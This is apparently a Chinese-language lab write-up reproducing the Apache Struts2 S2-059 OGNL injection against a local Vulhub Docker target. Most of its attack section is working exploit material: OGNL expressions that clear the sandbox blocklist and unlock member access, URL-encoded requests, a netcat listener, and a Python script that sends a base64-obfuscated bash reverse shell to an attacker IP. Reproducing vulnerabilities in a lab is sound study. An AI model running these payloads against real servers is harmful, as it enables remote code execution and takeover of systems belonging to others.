漏洞利用条件#

该漏洞利用限制较多，需同时满足以下条件：

1. altSyntax 功能开启：默认在高版本中已关闭
2. 特定标签：继承AbstractUITag类的标签（如<s:a>、<s:label>等）
3. 特定属性：仅id属性会被二次解析（其他属性直接赋值）
4. 可控输入：标签id属性使用%{...}表达式，且表达式内变量（如skillName）可被用户控制
5. 无安全验证：应用未对用户输入进行 OGNL 表达式过滤或安全校验

复现环境准备#

S2-059 利用条件苛刻，手动搭建易出错，优先使用现成的 Docker 镜像：

1
# 安装Docker和docker-compose
2
apt install docker.io docker-compose
3

4
# 将 Vulhub 项目克隆到本地
5
git clone https://github.com/vulhub/vulhub.git
6

7
# 拉取镜像并启动容器
8
cd vulhub/struts2/s2-059
9
docker-compose up -d
10

11
# 确认容器启动状态
12
docker ps | grep s2-059
13

14
9210c78f5333   vulhub/struts2:2.5.16   "/usr/local/bin/mvn-…"   3 minutes ago   Up 3 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   s2-059-struts2-1

启动成功后，访问 http://192.168.31.148:8080，能看到 Struts2 测试页面即环境就绪。

验证表达式二次解析#

构造请求 http://192.168.31.148:8080/?id=%25{6*6}，F12 查看元素会发现 id 的值变成了 36。

其中：

?id=：HTTP 请求的参数键值对，id 是参数名（对应 S2-059 漏洞中可触发二次解析的标签id属性）；

%25{6*6}：%25 是字符 % 的 URL 编码，%{6*6}为 OGNL 表达式模板（S2-059 漏洞中，开启altSyntax后，%{}包裹的内容会被当作 OGNL 表达式解析）；

注：如果此处测试请求为%25{1+1}，按 HTTP 标准（RFC 3986），参数中的 + 号会被自动解码为空格，最终服务器实际接收到的 id 参数值是 %{1 1}。

突破沙箱限制#

这是 S2-059 远程代码执行的前置必要步骤，没有这一步，所有命令执行 POC 都会被沙箱拦截。2.5.20 版本为了防御 OGNL 注入，会通过OgnlUtil类维护禁止访问的类与包名单（比如java.lang.Runtime、java.io等敏感类）。

OGNL 表达式为：

1
%{
2
(#context=#attr['struts.valueStack'].context).
3
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
4
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
5
(#ognlUtil.setExcludedClasses('')).
6
(#ognlUtil.setExcludedPackageNames(''))
7
}

• (#context=#attr['struts.valueStack'].context)：获取 Struts2 上下文对象。struts.valueStack是 Struts2 的核心对象，存储了请求的所有上下文信息；#attr是 OGNL 中访问页面属性的关键字
• (#container=#context['com.opensymphony.xwork2.ActionContext.container'])：从上下文里拿到容器对象，这个对象管理着 Struts2 所有工具类的实例。ActionContext.container是 Struts2 的 IOC 容器，负责创建和管理核心工具类（如OgnlUtil）
• (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))：获取 OGNL 工具类。OgnlUtil是控制 OGNL 沙箱黑名单的核心类，getInstance()是容器的实例获取方法；@类名@class是 OGNL 中访问静态类的语法
• (#ognlUtil.setExcludedClasses(''))：清空黑名单类。setExcludedClasses('')将沙箱的禁止类名单设为空字符串，默认黑名单包含Runtime、Process等敏感类

编码后的 URL 为：

1
http://192.168.31.148:8080/?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D

任意命令执行#

OGNL 表达式为：

1
%{
2
(#context=#attr['struts.valueStack'].context).
3
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
4
(@java.lang.Runtime@getRuntime().exec('command'))
5
}

这个表达式比上文更简洁、更底层，可以实现权限绕过与命令执行。

• (#context=#attr['struts.valueStack'].context)：获取 Struts2 上下文对象。
• #context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))：取消所有对私有方法、静态方法、敏感类的访问限制。@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS是 OGNL 的默认权限实例，无任何访问限制（允许调用私有方法、静态方法、任意类）；这一步替代了清空 OgnlUtil 黑名单的操作，是更底层的权限绕过方式。
• @java.lang.Runtime@getRuntime().exec('command')：调用 Java 的核心类执行任意系统命令。

攻击机监听：

1
nc -lvvp 6666

使用 Base64 在线编码解码将原始命令编码，是绕过命令检测机制的初级方法：

编写 Python 脚本：

1
import requests
2
url = "http://192.168.31.148:8080"
3
data = {
4
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
5
}
6
res = requests.post(url, data=data)

反弹成功，可以看到容器 id 9210c78f5333 正是靶机的 id：